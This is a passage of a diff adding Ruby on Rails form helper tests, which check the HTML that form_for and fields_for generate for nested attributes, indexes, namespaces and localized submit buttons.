+ "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" +
+ "<input name='post[secret]' type='hidden' value='0' />" +
+ "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_form_for_with_remote_in_html
+ form_for(@post, url: '/', html: { remote: true, id: 'create-post', method: :patch }) do |f|
+ concat f.text_field(:title)
+ concat f.text_area(:body)
+ concat f.check_box(:secret)
+ end
+
+ expected = whole_form("/", "create-post", "edit_post", method: "patch", remote: true) do
+ "<input name='post[title]' type='text' id='post_title' value='Hello World' />" +
+ "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" +
+ "<input name='post[secret]' type='hidden' value='0' />" +
+ "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_form_for_with_remote_without_html
+ @post.persisted = false
+ @post.stubs(:to_key).returns(nil)
+ form_for(@post, remote: true) do |f|
+ concat f.text_field(:title)
+ concat f.text_area(:body)
+ concat f.check_box(:secret)
+ end
+
+ expected = whole_form("/posts", "new_post", "new_post", remote: true) do
+ "<input name='post[title]' type='text' id='post_title' value='Hello World' />" +
+ "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" +
+ "<input name='post[secret]' type='hidden' value='0' />" +
+ "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_form_for_without_object
+ form_for(:post, html: { id: 'create-post' }) do |f|
+ concat f.text_field(:title)
+ concat f.text_area(:body)
+ concat f.check_box(:secret)
+ end
+
+ expected = whole_form("/", "create-post") do
+ "<input name='post[title]' type='text' id='post_title' value='Hello World' />" +
+ "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" +
+ "<input name='post[secret]' type='hidden' value='0' />" +
+ "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_form_for_with_index
+ form_for(@post, as: "post[]") do |f|
+ concat f.label(:title)
+ concat f.text_field(:title)
+ concat f.text_area(:body)
+ concat f.check_box(:secret)
+ end
+
+ expected = whole_form('/posts/123', 'edit_post[]', 'edit_post[]', method: 'patch') do
+ "<label for='post_123_title'>Title</label>" +
+ "<input name='post[123][title]' type='text' id='post_123_title' value='Hello World' />" +
+ "<textarea name='post[123][body]' id='post_123_body'>\nBack to the hill and over it again!</textarea>" +
+ "<input name='post[123][secret]' type='hidden' value='0' />" +
+ "<input name='post[123][secret]' checked='checked' type='checkbox' id='post_123_secret' value='1' />"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_form_for_with_nil_index_option_override
+ form_for(@post, as: "post[]", index: nil) do |f|
+ concat f.text_field(:title)
+ concat f.text_area(:body)
+ concat f.check_box(:secret)
+ end
+
+ expected = whole_form('/posts/123', 'edit_post[]', 'edit_post[]', method: 'patch') do
+ "<input name='post[][title]' type='text' id='post__title' value='Hello World' />" +
+ "<textarea name='post[][body]' id='post__body'>\nBack to the hill and over it again!</textarea>" +
+ "<input name='post[][secret]' type='hidden' value='0' />" +
+ "<input name='post[][secret]' checked='checked' type='checkbox' id='post__secret' value='1' />"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_form_for_label_error_wrapping
+ form_for(@post) do |f|
+ concat f.label(:author_name, class: 'label')
+ concat f.text_field(:author_name)
+ concat f.submit('Create post')
+ end
+
+ expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+ "<div class='field_with_errors'><label for='post_author_name' class='label'>Author name</label></div>" +
+ "<div class='field_with_errors'><input name='post[author_name]' type='text' id='post_author_name' value='' /></div>" +
+ "<input name='commit' type='submit' value='Create post' />"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_form_for_label_error_wrapping_without_conventional_instance_variable
+ post = remove_instance_variable :@post
+
+ form_for(post) do |f|
+ concat f.label(:author_name, class: 'label')
+ concat f.text_field(:author_name)
+ concat f.submit('Create post')
+ end
+
+ expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+ "<div class='field_with_errors'><label for='post_author_name' class='label'>Author name</label></div>" +
+ "<div class='field_with_errors'><input name='post[author_name]' type='text' id='post_author_name' value='' /></div>" +
+ "<input name='commit' type='submit' value='Create post' />"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_form_for_label_error_wrapping_block_and_non_block_versions
+ form_for(@post) do |f|
+ concat f.label(:author_name, 'Name', class: 'label')
+ concat f.label(:author_name, class: 'label') { 'Name' }
+ end
+
+ expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+ "<div class='field_with_errors'><label for='post_author_name' class='label'>Name</label></div>" +
+ "<div class='field_with_errors'><label for='post_author_name' class='label'>Name</label></div>"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_form_for_with_namespace
+ form_for(@post, namespace: 'namespace') do |f|
+ concat f.text_field(:title)
+ concat f.text_area(:body)
+ concat f.check_box(:secret)
+ end
+
+ expected = whole_form('/posts/123', 'namespace_edit_post_123', 'edit_post', method: 'patch') do
+ "<input name='post[title]' type='text' id='namespace_post_title' value='Hello World' />" +
+ "<textarea name='post[body]' id='namespace_post_body'>\nBack to the hill and over it again!</textarea>" +
+ "<input name='post[secret]' type='hidden' value='0' />" +
+ "<input name='post[secret]' checked='checked' type='checkbox' id='namespace_post_secret' value='1' />"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_form_for_with_namespace_with_date_select
+ form_for(@post, namespace: 'namespace') do |f|
+ concat f.date_select(:written_on)
+ end
+
+ assert_select 'select#namespace_post_written_on_1i'
+ end
+
+ def test_form_for_with_namespace_with_label
+ form_for(@post, namespace: 'namespace') do |f|
+ concat f.label(:title)
+ concat f.text_field(:title)
+ end
+
+ expected = whole_form('/posts/123', 'namespace_edit_post_123', 'edit_post', method: 'patch') do
+ "<label for='namespace_post_title'>Title</label>" +
+ "<input name='post[title]' type='text' id='namespace_post_title' value='Hello World' />"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_two_form_for_with_namespace
+ form_for(@post, namespace: 'namespace_1') do |f|
+ concat f.label(:title)
+ concat f.text_field(:title)
+ end
+
+ expected_1 = whole_form('/posts/123', 'namespace_1_edit_post_123', 'edit_post', method: 'patch') do
+ "<label for='namespace_1_post_title'>Title</label>" +
+ "<input name='post[title]' type='text' id='namespace_1_post_title' value='Hello World' />"
+ end
+
+ assert_dom_equal expected_1, output_buffer
+
+ form_for(@post, namespace: 'namespace_2') do |f|
+ concat f.label(:title)
+ concat f.text_field(:title)
+ end
+
+ expected_2 = whole_form('/posts/123', 'namespace_2_edit_post_123', 'edit_post', method: 'patch') do
+ "<label for='namespace_2_post_title'>Title</label>" +
+ "<input name='post[title]' type='text' id='namespace_2_post_title' value='Hello World' />"
+ end
+
+ assert_dom_equal expected_2, output_buffer
+ end
+
+ def test_fields_for_with_namespace
+ @comment.body = 'Hello World'
+ form_for(@post, namespace: 'namespace') do |f|
+ concat f.text_field(:title)
+ concat f.text_area(:body)
+ concat f.fields_for(@comment) { |c|
+ concat c.text_field(:body)
+ }
+ end
+
+ expected = whole_form('/posts/123', 'namespace_edit_post_123', 'edit_post', method: 'patch') do
+ "<input name='post[title]' type='text' id='namespace_post_title' value='Hello World' />" +
+ "<textarea name='post[body]' id='namespace_post_body'>\nBack to the hill and over it again!</textarea>" +
+ "<input name='post[comment][body]' type='text' id='namespace_post_comment_body' value='Hello World' />"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_submit_with_object_as_new_record_and_locale_strings
+ old_locale, I18n.locale = I18n.locale, :submit
+
+ @post.persisted = false
+ @post.stubs(:to_key).returns(nil)
+ form_for(@post) do |f|
+ concat f.submit
+ end
+
+ expected = whole_form('/posts', 'new_post', 'new_post') do
+ "<input name='commit' type='submit' value='Create Post' />"
+ end
+
+ assert_dom_equal expected, output_buffer
+ ensure
+ I18n.locale = old_locale
+ end
+
+ def test_submit_with_object_as_existing_record_and_locale_strings
+ old_locale, I18n.locale = I18n.locale, :submit
+
+ form_for(@post) do |f|
+ concat f.submit
+ end
+
+ expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+ "<input name='commit' type='submit' value='Confirm Post changes' />"
+ end
+
+ assert_dom_equal expected, output_buffer
+ ensure
+ I18n.locale = old_locale
+ end
+
+ def test_submit_without_object_and_locale_strings
+ old_locale, I18n.locale = I18n.locale, :submit
+
+ form_for(:post) do |f|
+ concat f.submit class: "extra"
+ end
+
+ expected = whole_form do
+ "<input name='commit' class='extra' type='submit' value='Save changes' />"
+ end
+
+ assert_dom_equal expected, output_buffer
+ ensure
+ I18n.locale = old_locale
+ end
+
+ def test_submit_with_object_and_nested_lookup
+ old_locale, I18n.locale = I18n.locale, :submit
+
+ form_for(@post, as: :another_post) do |f|
+ concat f.submit
+ end
+
+ expected = whole_form('/posts/123', 'edit_another_post', 'edit_another_post', method: 'patch') do
+ "<input name='commit' type='submit' value='Update your Post' />"
+ end
+
+ assert_dom_equal expected, output_buffer
+ ensure
+ I18n.locale = old_locale
+ end
+
+ def test_nested_fields_for
+ @comment.body = 'Hello World'
+ form_for(@post) do |f|
+ concat f.fields_for(@comment) { |c|
+ concat c.text_field(:body)
+ }
+ end
+
+ expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+ "<input name='post[comment][body]' type='text' id='post_comment_body' value='Hello World' />"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_nested_fields_for_with_nested_collections
+ form_for(@post, as: 'post[]') do |f|
+ concat f.text_field(:title)
+ concat f.fields_for('comment[]', @comment) { |c|
+ concat c.text_field(:name)
+ }
+ end
+
+ expected = whole_form('/posts/123', 'edit_post[]', 'edit_post[]', method: 'patch') do
+ "<input name='post[123][title]' type='text' id='post_123_title' value='Hello World' />" +
+ "<input name='post[123][comment][][name]' type='text' id='post_123_comment__name' value='new comment' />"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_nested_fields_for_with_index_and_parent_fields
+ form_for(@post, index: 1) do |c|
+ concat c.text_field(:title)
+ concat c.fields_for('comment', @comment, index: 1) { |r|
+ concat r.text_field(:name)
+ }
+ end
+
+ expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+ "<input name='post[1][title]' type='text' id='post_1_title' value='Hello World' />" +
+ "<input name='post[1][comment][1][name]' type='text' id='post_1_comment_1_name' value='new comment' />"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_form_for_with_index_and_nested_fields_for
+ output_buffer = form_for(@post, index: 1) do |f|
+ concat f.fields_for(:comment, @post) { |c|
+ concat c.text_field(:title)
+ }
+ end
+
+ expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+ "<input name='post[1][comment][title]' type='text' id='post_1_comment_title' value='Hello World' />"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_nested_fields_for_with_index_on_both
+ form_for(@post, index: 1) do |f|
+ concat f.fields_for(:comment, @post, index: 5) { |c|
+ concat c.text_field(:title)
+ }
+ end
+
+ expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+ "<input name='post[1][comment][5][title]' type='text' id='post_1_comment_5_title' value='Hello World' />"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_nested_fields_for_with_auto_index
+ form_for(@post, as: "post[]") do |f|
+ concat f.fields_for(:comment, @post) { |c|
+ concat c.text_field(:title)
+ }
+ end
+
+ expected = whole_form('/posts/123', 'edit_post[]', 'edit_post[]', method: 'patch') do
+ "<input name='post[123][comment][title]' type='text' id='post_123_comment_title' value='Hello World' />"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_nested_fields_for_with_index_radio_button
+ form_for(@post) do |f|
+ concat f.fields_for(:comment, @post, index: 5) { |c|
+ concat c.radio_button(:title, "hello")
+ }
+ end
+
+ expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+ "<input name='post[comment][5][title]' type='radio' id='post_comment_5_title_hello' value='hello' />"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_nested_fields_for_with_auto_index_on_both
+ form_for(@post, as: "post[]") do |f|
+ concat f.fields_for("comment[]", @post) { |c|
+ concat c.text_field(:title)
+ }
+ end
+
+ expected = whole_form('/posts/123', 'edit_post[]', 'edit_post[]', method: 'patch') do
+ "<input name='post[123][comment][123][title]' type='text' id='post_123_comment_123_title' value='Hello World' />"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_nested_fields_for_with_index_and_auto_index
+ output_buffer = form_for(@post, as: "post[]") do |f|
+ concat f.fields_for(:comment, @post, index: 5) { |c|
+ concat c.text_field(:title)
+ }
+ end
+
+ output_buffer << form_for(@post, as: :post, index: 1) do |f|
+ concat f.fields_for("comment[]", @post) { |c|
+ concat c.text_field(:title)
+ }
+ end
+
+ expected = whole_form('/posts/123', 'edit_post[]', 'edit_post[]', method: 'patch') do
+ "<input name='post[123][comment][5][title]' type='text' id='post_123_comment_5_title' value='Hello World' />"
+ end + whole_form('/posts/123', 'edit_post', 'edit_post', method: 'patch') do
+ "<input name='post[1][comment][123][title]' type='text' id='post_1_comment_123_title' value='Hello World' />"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_nested_fields_for_with_a_new_record_on_a_nested_attributes_one_to_one_association
+ @post.author = Author.new
+
+ form_for(@post) do |f|
+ concat f.text_field(:title)
+ concat f.fields_for(:author) { |af|
+ concat af.text_field(:name)
+ }
+ end
+
+ expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+ '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
+ '<input id="post_author_attributes_name" name="post[author_attributes][name]" type="text" value="new author" />'
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_nested_fields_for_with_explicitly_passed_object_on_a_nested_attributes_one_to_one_association
+ form_for(@post) do |f|
+ f.fields_for(:author, Author.new(123)) do |af|
+ assert_not_nil af.object
+ assert_equal 123, af.object.id
+ end
+ end
+ end
+
+ def test_nested_fields_for_with_an_existing_record_on_a_nested_attributes_one_to_one_association
+ @post.author = Author.new(321)
+
+ form_for(@post) do |f|
+ concat f.text_field(:title)
+ concat f.fields_for(:author) { |af|
+ concat af.text_field(:name)
+ }
+ end
+
+ expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+ '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
+ '<input id="post_author_attributes_name" name="post[author_attributes][name]" type="text" value="author #321" />' +
+ '<input id="post_author_attributes_id" name="post[author_attributes][id]" type="hidden" value="321" />'
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_nested_fields_for_with_an_existing_record_on_a_nested_attributes_one_to_one_association_using_erb_and_inline_block
+ @post.author = Author.new(321)
+
+ form_for(@post) do |f|
+ concat f.text_field(:title)
+ concat f.fields_for(:author) { |af|
+ af.text_field(:name)
+ }
+ end
+
+ expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+ '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
+ '<input id="post_author_attributes_name" name="post[author_attributes][name]" type="text" value="author #321" />' +
+ '<input id="post_author_attributes_id" name="post[author_attributes][id]" type="hidden" value="321" />'
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_nested_fields_for_with_an_existing_record_on_a_nested_attributes_one_to_one_association_with_disabled_hidden_id
+ @post.author = Author.new(321)
+
+ form_for(@post) do |f|
+ concat f.text_field(:title)
+ concat f.fields_for(:author, include_id: false) { |af|
+ af.text_field(:name)
+ }
+ end
+
+ expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+ '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
+ '<input id="post_author_attributes_name" name="post[author_attributes][name]" type="text" value="author #321" />'
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_nested_fields_for_with_an_existing_record_on_a_nested_attributes_one_to_one_association_with_disabled_hidden_id_inherited
+ @post.author = Author.new(321)
+
+ form_for(@post, include_id: false) do |f|
+ concat f.text_field(:title)
+ concat f.fields_for(:author) { |af|
+ af.text_field(:name)
+ }
+ end
+
+ expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+ '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
+ '<input id="post_author_attributes_name" name="post[author_attributes][name]" type="text" value="author #321" />'
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_nested_fields_for_with_an_existing_record_on_a_nested_attributes_one_to_one_association_with_disabled_hidden_id_override
+ @post.author = Author.new(321)
+
+ form_for(@post, include_id: false) do |f|
+ concat f.text_field(:title)
+ concat f.fields_for(:author, include_id: true) { |af|
+ af.text_field(:name)
+ }
+ end
+
+ expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+ '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
+ '<input id="post_author_attributes_name" name="post[author_attributes][name]" type="text" value="author #321" />' +
+ '<input id="post_author_attributes_id" name="post[author_attributes][id]" type="hidden" value="321" />'
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_nested_fields_for_with_existing_records_on_a_nested_attributes_one_to_one_association_with_explicit_hidden_field_placement
+ @post.author = Author.new(321)
+
+ form_for(@post) do |f|
+ concat f.text_field(:title)
+ concat f.fields_for(:author) { |af|
+ concat af.hidden_field(:id)
+ concat af.text_field(:name)
+ }
+ end
+
+ expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+ '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
+ '<input id="post_author_attributes_id" name="post[author_attributes][id]" type="hidden" value="321" />' +
+ '<input id="post_author_attributes_name" name="post[author_attributes][name]" type="text" value="author #321" />'
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_nested_fields_for_with_existing_records_on_a_nested_attributes_collection_association
+ @post.comments = Array.new(2) { |id| Comment.new(id + 1) }
+
+ form_for(@post) do |f|
+ concat f.text_field(:title)
+ @post.comments.each do |comment|
+ concat f.fields_for(:comments, comment) { |cf|
+ concat cf.text_field(:name)
+ }
+ end
+ end
+
+ expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+ '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
+ '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #1" />' +
+ '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="1" />' +
+ '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="comment #2" />' +
+ '<input id="post_comments_attributes_1_id" name="post[comments_attributes][1][id]" type="hidden" value="2" />'
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_nested_fields_for_with_existing_records_on_a_nested_attributes_collection_association_with_disabled_hidden_id
+ @post.comments = Array.new(2) { |id| Comment.new(id + 1) }
+ @post.author = Author.new(321)
+
+ form_for(@post) do |f|
+ concat f.text_field(:title)
+ concat f.fields_for(:author) { |af|
+ concat af.text_field(:name)
+ }
+ @post.comments.each do |comment|
+ concat f.fields_for(:comments, comment, include_id: false) { |cf|
+ concat cf.text_field(:name)
+ }
+ end
+ end
+
+ expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+ '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
+ '<input id="post_author_attributes_name" name="post[author_attributes][name]" type="text" value="author #321" />' +
+ '<input id="post_author_attributes_id" name="post[author_attributes][id]" type="hidden" value="321" />' +
+ '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #1" />' +
+ '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="comment #2" />'
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_nested_fields_for_with_existing_records_on_a_nested_attributes_collection_association_with_disabled_hidden_id_inherited
+ @post.comments = Array.new(2) { |id| Comment.new(id + 1) }
+ @post.author = Author.new(321)
+
+ form_for(@post, include_id: false) do |f|
+ concat f.text_field(:title)
+ concat f.fields_for(:author) { |af|
+ concat af.text_field(:name)
+ }
+ @post.comments.each do |comment|
+ concat f.fields_for(:comments, comment) { |cf|
+ concat cf.text_field(:name)
+ }
+ end
+ end
+
+ expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+ '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
+ '<input id="post_author_attributes_name" name="post[author_attributes][name]" type="text" value="author #321" />' +
+ '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #1" />' +
+ '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="comment #2" />'
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_nested_fields_for_with_existing_records_on_a_nested_attributes_collection_association_with_disabled_hidden_id_override
+ @post.comments = Array.new(2) { |id| Comment.new(id + 1) }
+ @post.author = Author.new(321)
+
+ form_for(@post, include_id: false) do |f|
+ concat f.text_field(:title)
+ concat f.fields_for(:author, include_id: true) { |af|
+ concat af.text_field(:name)
+ }
+ @post.comments.each do |comment|
+ concat f.fields_for(:comments, comment) { |cf|
+ concat cf.text_field(:name)
+ }
+ end
+ end
+
+ expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+ '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
+ '<input id="post_author_attributes_name" name="post[author_attributes][name]" type="text" value="author #321" />' +
+ '<input id="post_author_attributes_id" name="post[author_attributes][id]" type="hidden" value="321" />' +
+ '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #1" />' +
+ '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="comment #2" />'
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_nested_fields_for_with_existing_records_on_a_nested_attributes_collection_association_using_erb_and_inline_block
+ @post.comments = Array.new(2) { |id| Comment.new(id + 1) }
+
+ form_for(@post) do |f|
+ concat f.text_field(:title)
+ @post.comments.each do |comment|
+ concat f.fields_for(:comments, comment) { |cf|
+ cf.text_field(:name)
+ }
+ end
+ end
+
+ expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+ '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
+ '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #1" />' +
+ '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="1" />' +
+ '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="comment #2" />' +
+ '<input id="post_comments_attributes_1_id" name="post[comments_attributes][1][id]" type="hidden" value="2" />'
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_nested_fields_for_with_existing_records_on_a_nested_attributes_collection_association_with_explicit_hidden_field_placement
+ @post.comments = Array.new(2) { |id| Comment.new(id + 1) }
+
+ form_for(@post) do |f|
+ concat f.text_field(:title)
+ @post.comments.each do |comment|
+ concat f.fields_for(:comments, comment) { |cf|
+ concat cf.hidden_field(:id)
+ concat cf.text_field(:name)
+ }
+ end
+ end
+
+ expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+ '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
+ '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="1" />' +
+ '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #1" />' +
+ '<input id="post_comments_attributes_1_id" name="post[comments_attributes][1][id]" type="hidden" value="2" />' +
+ '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="comment #2" />'
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_nested_fields_for_with_new_records_on_a_nested_attributes_collection_association
+ @post.comments = [Comment.new, Comment.new]
+
+ form_for(@post) do |f|
+ concat f.text_field(:title)
+ @post.comments.each do |comment|
+ concat f.fields_for(:comments, comment) { |cf|
+ concat cf.text_field(:name)
+ }
+ end
+ end
+
+ expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+ '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
+ '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="new comment" />' +
+ '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="new comment" />'
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_nested_fields_for_with_existing_and_new_records_on_a_nested_attributes_collection_association
+ @post.comments = [Comment.new(321), Comment.new]
+
+ form_for(@post) do |f|
+ concat f.text_field(:title)
+ @post.comments.each do |comment|
+ concat f.fields_for(:comments, comment) { |cf|
+ concat cf.text_field(:name)
+ }
+ end
+ end
+
+ expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+ '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
+ '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #321" />' +
+ '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="321" />' +
+ '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="new comment" />'
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_nested_fields_for_with_an_empty_supplied_attributes_collection
+ form_for(@post) do |f|
+ concat f.text_field(:title)
+ f.fields_for(:comments, []) do |cf|
+ concat cf.text_field(:name)
+ end
+ end
+
+ expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+ '<input name="post[title]" type="text" id="post_title" value="Hello World" />'
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_nested_fields_for_with_existing_records_on_a_supplied_nested_attributes_collection
+ @post.comments = Array.new(2) { |id| Comment.new(id + 1) }
+
+ form_for(@post) do |f|
+ concat f.text_field(:title)
+ concat f.fields_for(:comments, @post.comments) { |cf|
+ concat cf.text_field(:name)
+ }
+ end
+
+ expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+ '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
+ '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #1" />' +
+ '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="1" />' +
+ '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="comment #2" />' +
+ '<input id="post_comments_attributes_1_id" name="post[comments_attributes][1][id]" type="hidden" value="2" />'
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_nested_fields_for_arel_like
+ @post.comments = ArelLike.new
+
+ form_for(@post) do |f|
+ concat f.text_field(:title)
+ concat f.fields_for(:comments, @post.comments) { |cf|
+ concat cf.text_field(:name)
+ }
+ end
+
+ expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+ '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
+ '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #1" />' +
+ '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="1" />' +
+ '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="comment #2" />' +
+ '<input id="post_comments_attributes_1_id" name="post[comments_attributes][1][id]" type="hidden" value="2" />'
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_nested_fields_for_with_existing_records_on_a_supplied_nested_attributes_collection_different_from_record_one
+ comments = Array.new(2) { |id| Comment.new(id + 1) }
+ @post.comments = []
+
+ form_for(@post) do |f|
+ concat f.text_field(:title)
+ concat f.fields_for(:comments, comments) { |cf|
+ concat cf.text_field(:name)
+ }
+ end
+
+ expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+ '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
+ '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #1" />' +
+ '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="1" />' +
+ '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="comment #2" />' +
+ '<input id="post_comments_attributes_1_id" name="post[comments_attributes][1][id]" type="hidden" value="2" />'
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_nested_fields_for_on_a_nested_attributes_collection_association_yields_only_builder
+ @post.comments = [Comment.new(321), Comment.new]
+ yielded_comments = []
+
+ form_for(@post) do |f|
+ concat f.text_field(:title)
+ concat f.fields_for(:comments) { |cf|
+ concat cf.text_field(:name)
+ yielded_comments << cf.object
+ }
+ end
+
+ expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+ '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
+ '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #321" />' +
+ '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="321" />' +
+ '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="new comment" />'
+ end
+
+ assert_dom_equal expected, output_buffer
+ assert_equal yielded_comments, @post.comments
+ end
+
